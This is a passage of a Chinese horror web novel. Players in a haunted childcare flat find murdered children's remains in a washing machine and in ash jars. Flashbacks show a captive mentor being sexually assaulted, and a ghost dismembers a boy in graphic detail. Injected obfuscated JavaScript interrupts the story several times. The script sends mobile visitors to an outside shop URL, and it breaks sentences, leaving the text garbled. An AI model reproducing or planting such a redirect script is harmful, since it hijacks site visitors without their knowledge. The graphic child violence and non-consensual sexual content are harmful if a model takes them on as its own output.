他们现在应该身处一个居民楼里,楼里一整层全部打通,据楚明铮观察,这个平层里不止一个餐厅,他们如今呆的这个餐厅规格也不大,只是其中之一。 有好多间卧室,除了给过关者住的这一批,其余卧室都被反锁的严丝合缝,没有一丝进去的可能。 有很多小孩子,一个女主人,这么多小孩子,肯定不可能是全是女主人一个人生的,那就是幼儿机构一类的地方了。 可这看起来既不像孤儿院,也不像幼儿园。 因为如果是孤儿院或者幼儿园的话,副本里应该是有其他工作人员存在的,如今的场景也说不过去。 孩子们和女主人已经是鬼怪形态了,而且怨气重的能被主神挑中作为副本模板,肯定是生前遭遇过不好的事情。 到底是个什么地方呢…… 楚明铮靠在椅背上静静的思索着。 许祁川再次凑过来,眼睛亮晶晶的问他:“在想什么呢,哥哥?” “别喊我哥哥。”楚明铮几乎不动嘴唇的回答:“恶心。” 许祁川并不生气,又缠着他道:“可是你还没告诉我你叫什么呢。” 楚明铮无言的看了他一眼,并不觉得自己有告诉他姓名的义务。 “你不告诉我名字,我就只好喊你哥哥了。”许祁川小声道:“还是说你就喜欢这个称呼?” 楚明铮被他打扰的烦不胜烦,撂下筷子起身要出去,然后迎面就在餐厅门口撞上了女主人。 “吃好啦?”女主人温和的笑着:“那就请跟我来吧,来看看你们给孩子们做饭的地方。” 许祁川也放下筷子,快步跟了过来。 楚明铮很敏锐的感觉到面前女主人的神情僵硬一瞬,紧接着很不自然的朝他们继续机械的笑,带着众人往餐厅外走。 她在忌惮什么? 楚明铮狐疑的朝许祁川望了一眼,许祁川回以一个无辜的笑容。 也不知道具体出于什么原因,楚明铮看见这人的笑容心里就总莫名生出烦躁来,明明眼前这年轻人长了一副最单纯无害的长相。 楚明铮面无表情的从他旁边侧身而过,跟着女主人出去了,其余玩家鱼贯跟上去。 女主人把他们分成了三组,分别带去了不同的工作间。 “肉排,汤饭,奶油蛋糕。”女主人笑着站在走廊里道:“都是孩子们爱吃的。” “孩子们对食物的期待,是世界上最令人不忍违拗的东西,工作间里有做菜和甜品的教程,希望你们今晚,不要让他们失望。” 女主人说完飘然而去。 留下三组被分好门类的成员面面相觑。 “我不会烤蛋糕啊怎么办,我,我没进过厨房。” “她说了有教程,进去现场学。”楚明铮将手按在门把上,凝神思索:“况且我不觉得,她会因为你做饭难吃而杀你。” “走吧,先看看工作间什么情况。” 楚明铮和两个姑娘,还有昨天餐桌上那个个子高大的男人被分到了煎肉排的行列里,煎肉排的工作间相对而言比其他两个大一些,但是偌大的一个工作间,居然没有冰箱。 为首的姑娘左看看右看看,一脸茫然道:“让我们煎肉排,可是肉在哪里放着呢?” 楚明铮的目光越过煎烤的厨具,和放置锅铲和架子,最终落到了整个厨房的最里侧,他朝众人一抬下巴示意道:“那儿。” 最里侧放着一个巨大的……洗衣机? “她为什么会在厨房里放洗衣机?”女孩震惊的说。 “做饭前得先洗肉。”楚明铮的手指轻轻捻磨起来,那是他思考时的惯用动作:“如果要洗的食材太多,当然要借助工具了。” 女孩脸色变的有点苍白,忍不住抓紧了同伴的手。 “走吧,过去看看。”楚明铮轻声道:“她最好是别让我们亲自洗肉。” 女孩被他这话恶心的一个激灵,但还是壮着胆子跟过去了。 楚明铮掀开了洗衣机最上方的那层盖子,刺鼻的肉腥气扑面而来,楚明铮皱着眉头向后退了一步,发现眼前的场景居然还不是最糟的。 洗衣机里满满当当塞了一整桶的肉,那肉也不知道是什么材质,估计是堆放的时间长了,百分之五十的肉块都已经变了质,变成了发霉的黑绿色,其中混杂了大股大股浑黄的脓水。 黄色的脓水泡着发霉的腐肉,不时有细密的白色蛆虫和黑色苍蝇在其中叽叽咕咕的翻涌。 楚明铮方才掀开盖子的动作惊扰到了它们,只听“轰”的一声,蛆虫和苍蝇从洗衣机里四散奔逃,轰然自腐□□隙里炸开来。 身后几人尖叫着朝后逃开,疯狂的挥舞着手臂试图让那些虫子不要近身。 楚明铮眼疾手快,一把捞起地上的洗衣液,拧开瓶盖悉数把洗衣液全倒进去。 然后合盖,选择时间,调整水位一气呵成,洗衣机裹挟着满肚子的烂肉和脓水,终于轰隆隆的搅动起来。 也不知道洗完以后的肉他们有没有勇气拿出来。 两个女孩抱在一起瑟瑟发抖,时不时抽泣几声,高大的壮汉联想到自己昨天晚上吃的肉排可能是洗衣机里的这玩意儿做的,当下又恶心起来,扶着墙根忍不住一阵干呕。 楚明铮的脸色也没有好看到哪里去。 他靠在墙上神情凝重的思索着什么,这副本的诡异程度的确超出了他的预料。 倒不是说难度有多大,楚明铮既然能做齐栩的师父,其经验丰富和思维敏锐程度自然不在话下,他这辈子过的副本数量绝对不比齐栩少,顶多没齐栩运气好被主神选中而已。 眼前副本的诡异之处在于,副本的难易程度与其所匹配到的过关者实力并不相符,起码楚明铮身后的这三个队友,水平都不怎么样。 楚明铮无声的叹了口气,恰好此时洗衣机“叮咚”一声,停止了运转,看样子是洗完了。 他收回思绪走上前打开了洗衣机的盖子,用眼神示意剩下三人靠后边站,紧接着手臂猛然用力,拎着沉重的洗衣机呈四十五度角向下倾斜,满桶碎肉稀里哗啦滚到地上。 白生生的肉沫和被搅碎成细渣的蛆虫尸体洒了一地。 其中一个女孩眼尖,指着地上那堆肉块颤巍巍的问:“哥,我好像看见肉里有手指了,这些肉该不会是……” 楚明铮点点头:“嗯,是人体组织,你看那儿还有没搅碎的半截大肠。” “你怎么就能确定他是人体大肠呢哥们?万 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“……那个哥哥。”女孩这时候已经没那么害怕了,但是仍能从神情中看出几分不忍,她指着地上那块很小的拇指盖问楚明铮:“洗衣机里装着的……是个小孩子吧?” 楚明铮握着刀柄,气喘吁吁的从地上站起来,看了一眼她指着的方向,神色晦暗复杂。 “嗯,是小孩的尸体。” 锅里噼里啪啦的烧着油,三人站在油锅前都是一脸茫然。 “直接把肉排扔进去炸吗?”两个女孩子面面相觑:“我俩都不会做饭。” 高壮的男人挠了一下头,尴尬道:“我,我会一点,但是我不确定咱们能不能直接炸,万一跟女主人的要求不一样……她昨天端上来的那几盘肉是咋做的来着?” “有人吃出来吗?” 楚明铮难得保持了缄默,他也是个厨房白痴。 身后传来熟悉的脚步声,许祁川慢吞吞的从门口走进来,动作很轻的从身后贴进了楚明铮。 楚明铮条件反射回肘就要怼他腰腹,却被许祁川一个掌心就接住了肘关节。 “别动手啊,哥哥,我是来帮你们的。”年轻人比他高一个头,此时略微俯下身,靠近了楚明铮的耳垂,声音很好听的柔和道。 楚明铮手上刚才用来割肉的菜刀还没扔,此时在他靠近的瞬间就直接将刀柄一转,刀光锋芒反射,直抵许祁川喉咙。 许祁川吓了一跳,连忙举起双手示意自己的无辜:“哥哥,你这是干什么?” “不要突然靠近我。”楚明铮举着刀,一字一句的道:“尤其是从我身后。” 许祁川勉强笑了一下,抱歉的尽量安抚道:“好的哥哥,我知道了。” “你先把刀放下。” 楚明铮缓和了半晌,才慢慢将握刀的手垂落身侧,他的指尖在不受控制的微微颤抖着,胸膛剧烈起伏。 刚才许祁川朝他身后靠拢过来时的感觉让他被迫回忆起一些极其不好的经历。 ……齐栩就很喜欢从身后搂着他。 他曾无数次将楚明铮抵在浴室的镜子前,从身后压制着师父的双臂,逼迫楚明铮看着镜子里狼狈不堪的自己。 然后在楚明铮激烈而破碎的哭腔和断断续续的辱骂声中,从身后反剪着他的手腕,将他蹂躏的更凌乱。 “师父,你不是讨厌看见我吗,那就背对着我好了。” 5. 第 5 章 楚明铮太阳穴突突突的跳着疼。 许祁川仍然用那副无辜到极点的眼神,可怜巴巴的望着他,半晌又低三下四的补充了一句:“我真的知道错了,哥哥。” “我下次不会了。”许祁川端详着他的神色,见有缓和的迹象,便试探着伸手去夺楚明铮掌心里的刀柄。 楚明铮尚未从阴影的余悸里挣脱出来,眼神还是麻木且疲惫的,他尽力克制着身上的痉挛颤抖,紧绷的手指一松,随他去了。 许祁川成功将刀从楚明铮手中拿了下来,自己拎着神色轻松的掂了掂,然后转向了方才案板上的九块肉排。 “肉排的做法其实跟煎牛排差不多。”许祁川耐心道。 “起锅,沿着锅底淋一圈油,然后将肉排放进去,煎烤至两面金黄,正常程序里可能还有腌制这一项,不过副本条件有限,我们直接修一下肉排的形状,放进去煎就行了。” “啧,这肉排谁切的,刀工真粗鲁。” 三个过关者你看看我,我看看你,其中一个女孩胆战心惊的瞥了一眼一旁的楚明铮,示意他切的。 许祁川脸色一僵,瞬间改口:“我的意思是这刀工真是……大开大合,颇具杀伐决断的意气。” “你到底是来帮忙的还是来添乱的?”楚明铮不耐烦的问。 “帮忙,帮忙……”许祁川手脚麻利的把锅里的残渣倒出来,重新起锅烧油,依次煎烤,直至九块热气腾腾的肉排全部出锅,安安稳稳的放在盘子里为止。 “这样就算完成女主人的任务了,对吧哥哥?” “跟你说了,别喊我哥哥。”楚明铮头疼道。 “那你们这边有什么发现吗?”许祁川选择性忽略了他的话,环顾四周,打量了一圈他们这房子里遍地狼籍的碎肉沫和洗衣机:“看上去收获不小。” “洗衣机里是个完整的小孩。”一旁的女孩打了个哆嗦,抱着闺蜜的胳膊道。 “我们刚刚找到了他的器官,还有手指头,头皮,一些头发。” 许祁川点了点头,紧接着话锋一转,不赞同的道:“这话有问题。” 女孩一呆:“啊?” “听你们的描述,他怎么都不能算是一个‘完整的’小孩,不是吗?”许祁川若有所思的指出:“没有骨架,只有肉和头发。” “只能算是他身体的一部分。” 女孩神情紧张:“那剩下的一部分在哪里?” 许祁川就等着她这句话,此话一出,他便闲闲朝楚明铮一伸手做邀请状:“在我们那边,要跟我过来看看吗?哥……这位先生。” 楚明铮冷着脸,从他身边越过径直去了汤饭的工作间。 许祁川讪讪收回手,也不生气,低头笑了一声就跟上去了。 汤饭的工作间没有洗衣机,但是林立着一整排黑压压的架子,上边摆了数十个大大小小的黑色坛子,女主人很细心的给每个坛子上都贴了标签。 “孜然”,“辣椒粉”,“味精”,“蚝油”…… 灶台前贴着汤饭的做法,楚明铮蹲下来细看那标签纸,然后一一跟架子上的坛子对照。 “少许孜然,半勺胡椒粉,味精……”他喃喃的一一将坛子看过去。 这些坛子从外表上看去别无二致,看不出来异样的地方。 但是谁家会把孜然和胡椒粉往坛子里装? “你们把汤饭做完了?”楚明铮抬头问汤饭组的过关队员们。 为首的男人点了点头,给楚明铮指一旁的桌子:“做完了,都放那边了。” 楚明铮随便打开一个坛子盖,低头闻了闻,不禁皱起了眉头。 “不用看了。”许祁川走过来,单手扶在架子上对他道:“我都检查过了,这一整排坛子里装的,全是骨灰。” “三个工作间,一间负责处理肉,一间处理骨灰,还有一间负责处理尸油。”许祁川这次不敢靠的太近,但还是微微一俯身,小声问道:“你怎么看啊,哥哥?” 楚明铮已经懒得纠正他的称呼了,扬手把骨灰坛的盖子一合,冷冷道:“我也不知道。” 他抱着骨灰坛站在架子旁边,一边应付许祁川,一边大脑飞快转动的思索着,修长食指有一下没一下的拂过坛子上的标签纸,忽然神情一滞,紧接着低头去撕那个标签纸。 许祁川见他有所动作,连忙靠过来:“发现什么了?” 楚明铮“撕拉”一声,扯开了最外层的标签,只见底下居然还有一张标签纸,同样是用胶带粘好,黏在坛子上,只是纸张的颜色上微微泛了黄,看起来已经贴上去很久了。 纸上只写了两个字。 “佳佳。”许祁川歪着头,在他身边读了出来。 “听上去像是个女孩的名字,一个叫佳佳的女孩……是晚上那群小鬼的其中之一吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613572|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯。”楚明铮蹙眉:“应该是。” 这个本来应该装孜然的坛子里,如今装的是佳佳的骨灰。 这个地方到底发生了什么? 楚明铮正思索着,衣角却突然被人拽了拽,他顺着力道低头看去,只见一个拽他的人正是昨晚坐在他身边的小男孩,此时他面容正常,就是普通小孩子的模样,半点也看不出来夜里可怖的面目。 “怎么了?”楚明铮低头镇定的问。 “哥哥,可以给我一口热汤喝吗?”小男孩奶声奶气的问道。 一旁煮好的汤饭正在锅里咕嘟嘟冒着热气,如果不细想煮汤的材料来源的话,确实看起来很诱人。 楚明铮朝汤饭那边瞥了一眼,然后拒绝了小男孩:“不可以。” 小男孩拽着他的衣角不松开,又问了一遍:“哥哥,可以给我一口热汤喝吗?” “不可以。”楚明铮重复道。 小男孩的面容逐渐异化开来,稚嫩的脸庞变的死白,红通通的嘴巴开始变成黑色,瞳孔里的瞳仁也逐渐褪去,从人到鬼只用了两三秒不到。 楚明铮静静的和小男孩对视着,末了语气平淡的反问:“还没到吃饭时间,你现在问我要吃的,你家阿姨不会生气吗?” 与此同时,不远处的蛋糕工作间。 女孩正在给蛋糕上裱花,她动作十分小心翼翼,生怕将奶油蛋糕的纹路弄错了。 裙摆突然被人拽了一下,她动作一僵,低下头去,只见一个脸色惨白的小鬼咯咯笑着蹲在桌子底下,扬起一张狰狞的小脸,喉咙里发出的声音是与之年龄极不相符的瘆人低沉。 “姐姐,我好饿,你能给我一口蛋糕吃吗?” 女孩吓得快哭出来了,她惊慌失措的抬头寻求队友的帮助,然而却没有一个人敢近身。 “你……你。”女孩哆哆嗦嗦的将盘子里的蛋糕挑了一小块,双手颤抖着,俯身朝那小鬼孩子的嘴巴跟前送过去:“你吃吧……” 吃完就不能伤害我了,对吧? 小鬼张开嘴,一口咬掉了半个蛋糕,大口大口咀嚼起来。 女孩微微松了口气,然而下一秒,只听“啪嗒”一声,一粒几不可察的蛋糕屑掉落在地上,散发出奶油氤氲的香气。 小鬼将蛋糕吞咽下去,朝她咧开嘴一笑,阴气十足的嘻嘻笑道:“掉地上了。” “……你浪费粮食了哦。” 6. 第 6 章 “啊啊啊啊——” 凄厉的惨叫划破四下寂静的走廊,楚明铮神色一凛,夺门而出去查看情况。 蛋糕烘焙间里,女孩面容呆滞的看着他们,然后眼中神情逐渐惊恐起来,身体却不受控制一般,俯身痉挛着将自己的脸庞埋进了蛋糕松软的奶油里。 大量的奶油被鼻孔吸入喉咙和肺腔,一时间将她所有的呼吸通道瞬间堵的严丝合缝。 她却连一声咳嗽都没发出来,就这么无声无息的把自己憋死在了奶油蛋糕里。 楚明铮试图进去扶她,然而副本的限制功能发挥作用,楚明铮稍微往里走几步就好像撞上了一处无形屏障,将他和那姑娘的身形完全隔离开来。 众人只能眼睁睁的看着她死在眼前。 楚明铮的眼中流露出一丝稍纵即逝的不忍,许祁川站在他身侧,将他的神情尽收眼底。 “哥哥,你怎么那么着急去救人?”许祁川低声问道:“你不是说,你在副本里从不关心别人吗?” 楚明铮语气很冷:“我不记得我说过这话。” “那你记性可真差。”许祁川半是感慨半是嘲讽的说了一句。 楚明铮没理他,起身走进烘焙室,女孩的尸体还维持着那个埋头在蛋糕里的姿势,地上一地的蛋糕屑和奶油沫,狼籍一片。 楚明铮在女尸面前蹲身下来,目光在她脚边来回巡视,最终定格在了一小块蛋糕胚的残渣上。 “发现什么了?”许祁川跟过来,一并在他身边蹲下问道。 楚明铮指了指地上那一小块泛着黑气的蛋糕胚:“死因找到了。” “什么?” “不能浪费粮食。”楚明铮简短的回答:“这群小鬼会想方设法,让你触犯这个规则,然后你就死了。” “我才不怕。”许祁川蹲在地上揣起双手,笑眼弯弯的回答:“我已经死过一次了。” “那正好,你再死一次,我今天晚上就能一个人休息了。”楚明铮没好气的回怼。 许祁川揣着手不说话,只明晃晃的笑,看起来还挺享受这种跟他有来有回的对话模式的。 ……楚明铮全身上下哪儿都软,腰也软,心也软,只有这张嘴硬。 这点他身体力行的了解过,许祁川嘴角含了一丝回味的笑。 “他还是不肯吃饭?”齐栩坐在办公室里一边看文件一边跟府邸的管家打电话。 “行,你不管了,我回去处理。”年轻的摄政官云淡风轻的道。 齐栩挂断电话,修长的手指轻轻扣在桌面上,看起来似乎很头疼。 “原来师父的新花样就是闹绝食……怎么办呢,看样子只能上点手段了。”齐栩若有所思的道。 自从楚明铮被软禁以来,几乎天天跟齐栩对着干,他这人原本就牙尖嘴利,齐栩又是他一手带大的,知根知底,什么话会激怒对方,什么话是对方痛点,楚明铮都再清楚不过了。 他极尽所能的对齐栩尖酸刻薄,齐栩无父无母,他就骂齐栩的祖宗十八代,齐栩小时候第一次跟他进副本被吓得躲在他身后哭,他就挖苦齐栩胆小如鼠,早晚从这个位置上滚下来。 总之怎么难听怎么来,有时候府邸里的管家和保镖都听不下去,呵斥着让他对摄政官放尊重点。 楚明铮便将他那双形状锋利的眼睛一斜,骂这些人是攀龙附凤的走狗,出门就得被人拿板砖拍死。 齐栩在一旁听着听着就笑出声来,他缓步走到楚明铮面前,俯身在他身前单膝跪下来,和师父对视着。 “骂的真好听。”年轻的摄政官声音温柔道:“我喜欢听师父骂我,就像小时候一样。” 楚明铮扬手一巴掌扇在他脸颊上,气的浑身发抖:“滚。” 一旁的手下有人上前就要把楚明铮扯开,有人慌慌张张的去给齐栩拿冰敷的毛巾,大惊小怪乱作一团。 然而齐栩只是轻飘飘的抬起手,制止住了他们的动作:“行了,都出去吧。” 众人均是一呆:“啊?” “师父生气了没看见吗,都出去,我跟他呆着就好。”齐栩将楚明铮扇他耳光的那只手牢牢的扣在掌心里,任楚明铮怎么挣扎都不松劲半分。 屋里众人见状,只得诺诺应声着出去了,偌大的客厅里只剩下楚明铮和齐栩两个人。 楚明铮的手掌被他把控着,克制不住的痉挛,另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613573|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只手被栓着镣铐锁在墙上,难以动弹,他只能维持着这个糟糕的姿势,气喘吁吁的瞪着齐栩。 齐栩耐心的按住楚明铮唯一自由的那只手,有一下没一下的摩挲着,试图安抚师父。 楚明铮被他强制性抓着,此时力气已经耗的差不多了。 “松开。”他疲惫的对齐栩道。 齐栩摇了摇头:“不松。” 楚明铮的眼睛里充斥着因为连日心力憔悴而熬出来的红血丝,他这回终于放缓了一点语气:“……我现在身体很难受,齐栩,看在我好歹从前在副本里救过你那么一两次的份上,放开我。” 齐栩笑了,他俯身亲了一下楚明铮冰凉的嘴唇。 楚明铮闭着眼睛承受了这个吻,他身后靠着墙,也并没有躲闪的余地。 “我放开你,然后你乖乖吃饭,好吗师父?”齐栩亲昵的对他道。 楚明铮睁开眼睛,眼神依然冷的像冰一样:“我不饿。” “要么你现在吃饭。”齐栩于是又攥紧了他的手道:“要么我们现在进卧室去……等你完事昏迷过去以后,我给你打营养液,你选一下。” 楚明铮眼中倏然划过屈辱的惊惧,眼睛里流露出来的恨意如果能化成实体绝对能将齐栩撕个粉碎。 齐栩单膝跪在他面前,神情温柔,像个真正孝顺的好徒弟。 …… 许祁川将地上的蛋糕屑瞟了一眼,百无聊赖的回房间去了。 这个副本对他来说并不难,但是很棘手,挑战性为零,恶心程度为百分百。 他不太喜欢这个副本的风格,但是既然楚明铮逃到这里来了,他也就不得不跟着进来。 楚明铮坐在卧室的床上,他大概知道这个副本是怎么回事了,脑海里的猜测只需要今天晚上找个机会验证一下就好。 许祁川推门而入,趴在门槛边上望着他:“哥哥,我有个想法。” “说。”楚明铮心不在焉道。 “我今天晚上不想睡觉,我想去女主人房间里找线索,你能陪我吗?”许祁川眼巴巴的问他。 楚明铮沉默半晌,抬头简单的评价道:“那你是真的活的不耐烦了。” 7. 第 7 章 “不入虎穴,焉得虎子。”许祁川朝他挤了挤那双亮晶晶的眼睛:“试试嘛哥哥。” 等你被老虎一口咬死,你小子就老实了,楚明铮心不在焉的想。 “你想啊,这个副本总共就这么大点地方,我们现在已经拿到了餐厅的线索,拿到了三个厨房工作间的线索了,那不就还差的就是卧室了吗,再说女主人,触怒她杀人的主要条件,一个是不能浪费粮食,一个是晚上不能不睡觉。” “她既然这么在意我们晚上睡不睡觉,那不就更是说明!晚上外边一定有她不想让我们知道的事情发生吗?”许祁川喋喋不休的分析道。 楚明铮被他搞的烦不胜烦,伸出一根食指抵在了他的嘴唇上:“闭嘴。” 许祁川的嘴唇骤然被他冰凉的食指抵住,一时间大脑一片空白,张口结舌,彻底忘记说话了。 “你要去自己去,不用拉上我一起送死。”楚明铮翻身上床,将被子一裹背对着他道。 他翻身过去时被子并没有盖的很严实,半截雪白修削的后脖颈裸露出来,在昏暗光影的交错下勾勒出优美的弧度。 许祁川喉结滚动,无声无息的咽了一下喉咙里翻涌的渴望。 楚明铮很快睡着了,侧卧在床褥里,隐约能听到他绵长而均匀的呼吸。 许祁川抬手按灭了床头的夜灯,夜色中他的目光幽暗而晦涩,看不清其中蕴含的意味。 窗外乌鸦哀嚎着飞过月光下,许祁川就这么静静的坐在楚明铮的床前,几个小时过去,他的姿势都没有动过。 仿佛一尊冰冷沉默的雕像。 距离零点还有十分钟的时候,楚明铮略微有点迷瞪的从床上坐起来,看了一眼对面墙上的钟表,起身下床。 许祁川已经收拾好在门口等着他了,手上贴心的拿了楚明铮的外套,见他醒来就伸手递给他:“穿上,哥哥。” “外边冷。” 楚明铮看了他一眼,神情中还带着刚睡醒的困倦,他也就懒得跟许祁川客气,顺手拿过来说了声谢谢。 “你是什么时候醒的?”楚明铮穿着衣服推门一边往外走,一边问他。 “我没睡着。”许祁川跟在他身后寸步不离,亦步亦趋的殷勤道:“我一点都不困。” 楚明铮平淡的瞥了他一眼:“不想说就算了。” “哎哎哎……”许祁川连忙上前蹿两步,将他跟的更紧了些:“我说,我说实话还不行吗。” “我在等你。”许祁川委屈道:“那餐厅里一桌子小鬼和女鬼,保不齐那个无头男尸还得跟我们一起吃饭,路上走廊还没灯,黑漆漆的一长条,我一个人不敢过去。” 楚明铮穿过幽长的走廊,神色自若。 冷飕飕的阴风席卷过二人的外套边缘,许祁川这话倒是说的没错,从卧室到餐厅一路上都没有光源。 唯有走廊尽头餐厅门缝里传来的那一点鬼火的光亮,让他们勉强能看清脚下的路。 许祁川期期艾艾的伸手拉住楚明铮的衣角,害怕的哆哆嗦嗦。 楚明铮深吸一口气,觉得他有毛病。 这年轻男孩子身高目测超过一米八五,比楚明铮高了大半个头,拽着楚明铮衣角的动作却跟小学生没什么区别。 楚明铮压下心里的不耐烦,带着他在漆黑的走道里缓步向前走。 楚明铮最烦有人在副本里给他拖后腿,齐栩从前跟他过副本的时候,要是胆敢露出这副没出息的惊恐模样,下一秒就会被楚明铮拎着后脖颈踹开,呵斥他自己走。 只是不知道为什么,他如今居然对许祁川多了点耐心。 楚明铮不愿意承认自己是被齐栩报复的太狠了,有点十年怕井绳。 那小疯子曾将他拦腰按在玄关上,一遍遍的逼问楚明铮。 “师父,再给你一次回到过去的机会,你还会在副本里那样狠心的对待我吗?” 楚明铮被折磨的满身冷汗,狼狈不堪,却仍咬紧牙关绝不松口:“会。” 齐栩眼眶泛着狰狞而疯戾的红,加足力道捅着将楚明铮险些钉死在墙壁上,他的额角淌下一滴灼烧的汗水:“这不是我想要的答案,重新回答我。” 楚明铮痛的话都说不清:“……会,因为你就是个废物……啊!” 楚明铮被折腾的昏昏沉沉,不知道过了多久才被人从玄关墙边放下来,脚踩在地面上才得到一丝踏实感。 极致的痛楚将他贯穿的神志不清,他靠在身后的墙上低头喘息,直到扶住他的那双手臂发出一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你让我的孩子们,肚子吃坏了……” 8. 第 8 章 满桌子人噤若寒蝉,许祁川神色一紧,就要起身解围。 然后他就被楚明铮单用一只手给按下去了。 楚明铮的手掌短暂的在他肩膀上停了一下,示意坐好,别乱动。 许祁川一愣,这很少见,楚明铮在副本里向来都是自顾自的,这还是他第一次见楚明铮在危机面前表现出安抚旁人的举动。 女主人变异的面容已经快袭到他鼻尖了,浓烈的腐烂臭气从她空洞的嘴巴里散发出来,一张一合的露出兴奋的笑容,嘴里却还不停的念叨着:“我的孩子们吃坏肚子了,我的孩子们吃坏肚子了……” 楚明铮面无表情的跟她对视片刻,然后直接将眼前恐怖的景象置之不理,转身蹲在小男孩面前,和颜悦色的问:“你说你肚子疼,具体是哪儿疼?” “胃,胃疼……胃疼……”小鬼孩子断断续续的控诉。 “指一下位置。”楚明铮不由分说的命令道。 身后冰凉的腐烂气息越来越近,女主人咧着一张大嘴,几乎是要从身后吞噬掉楚明铮的整个头颅,楚明铮也就任由她越来越近,神情仍然一派淡然自若,理都不理。 小鬼孩子泛着黑色尸斑的小手犹豫的指向自己肚子的某处。 “你确定吗孩子?”楚明铮低声问道:“这可不是胃部所在的地方。 ” 小鬼恼怒的嚎了一声,指尖迅速下移,指向别的部位。 “小腹?”楚明铮轻声质疑:“你刚坐下不到两分钟,吃东西的时间不到半分钟,半分钟你吃下去的食物是无论如何都不可能流进小腹的肠道里去的。” 小鬼孩子的指尖又开始犹豫的乱晃,楚明铮猛然一拍桌案,语气严厉至极:“到底是哪儿?!” 许祁川冷不防听他吼了一声,浑身一个激灵,仿佛跟着楚明铮的声音一并回到了自己小时候。 那些在副本里稍微出点岔子就会被楚明铮疾言厉色以待的日子。 楚明铮长得很漂亮,但是并不显女气。 是那种锋利而棱角分明的漂亮,皮肤苍白,眉目秀丽,身形瘦削而修长,乌黑的眉毛永远是轻轻蹙着的,瞳孔的颜色很冷,百分之八十的时间里都没什么感情色彩。 有种只可远观不可亵玩的疏离气质。 齐栩小时候害怕他,楚明铮一凶他,小齐栩就吓得直掉眼泪,躲在门板后边不敢近身,直到楚明铮不耐烦的大步走过来一把将他扛着扔到椅子上,才能继续训斥他。 那时候的齐栩像个战战兢兢的小鹌鹑,如今想起来自己当年的模样,都让人忍不住发笑。 楚明铮最擅长吓唬小孩了,不过这还是他第一次见到楚明铮吓唬除自己以外的小孩。 许祁川觉得很稀奇,于是慢慢收回手,饶有兴趣的看着眼前楚明铮一个人跟两只鬼的较量。 小鬼孩子张口结舌,刚要发难,却见楚明铮随即站起转身,跟女主人迎面,脸对脸撞上,丝毫不惧:“阿姨,他撒谎。” “你们这里撒谎的小孩子没有惩罚吗?”楚明铮一字一句的问。 “我觉得撒谎的小孩子比浪费粮食的小孩子更可恶。” “难道不是吗?” 楚明铮劲瘦的手稳稳伸出去,用力扶在女主人冷的像死人一样的肩颈上,手指骨向里侧扣压,他站起来的身量比女主人高出一截子,眼神严厉而专注,压迫力十足。 “如果一个小孩子撒谎还不用受到惩罚,那你的制度就很有问题。” 女主人呆滞的看着他,嘴巴张合着重复着楚明铮刚才的字眼。 “撒谎的孩子,要受到惩罚。” “孩子,要受到惩罚……” “惩罚……” 她怨毒的眼神从楚明铮身上转移开来,渐渐酝酿成浓重到极点的滔天恨意,她一把掀开了楚明铮。 楚明铮猝不及防踉跄一步就要摔,被一旁眼疾手快的许祁川伸手一扶:“小心点,哥哥。” 女主人发出尖锐的鬼叫,下一秒鬼爪翻飞直扑刚才那个说自己胃疼吃坏肚子的小男孩。 男孩只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613575|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她三分之一那么高,被揪住的时候连反抗都来不及反抗,下一个瞬间整块头皮就被女主人撕裂开,头发和头皮黏在一起,沾着腥臭的脑浆和血液,“啪叽”一声,丢到餐桌上。 餐桌对面几个姑娘抱团尖叫。 男孩凄厉的惨叫着,他的头盖骨被整个掀开,女主人拎着他的双脚将他倒着一立,脑花呼啦啦就从天灵盖里滚出来了,紧接着女人尖锐的指甲扣进他坚硬的头盖骨边缘,两相碰撞,发出“嘎吱,嘎吱”令人牙疼的声响。 下一个场面让全屋子里的人都齐刷刷起立后退,惊恐至极。 女主人一手抓着小男孩的头盖骨,一手将他的衣服和肉牢牢抓住,摧枯拉朽一声声瘆人的拉拽声中。 那男孩的整副骨架都被从血肉躯体里剥离了出来,血水蔓延到每个人脚下,漆黑浓臭,令人难以忍受。 女主人面不改色的在一众孩子和过关者面前,就这么活生生将小男孩分尸了。 众人都被这场面吓傻了,各个呆若木鸡,大气都不敢喘。 然后她一手拎着男孩软塌塌的血肉,一手拎着森白的骨架,嘴里哼着歌,离开餐厅回厨房去了。 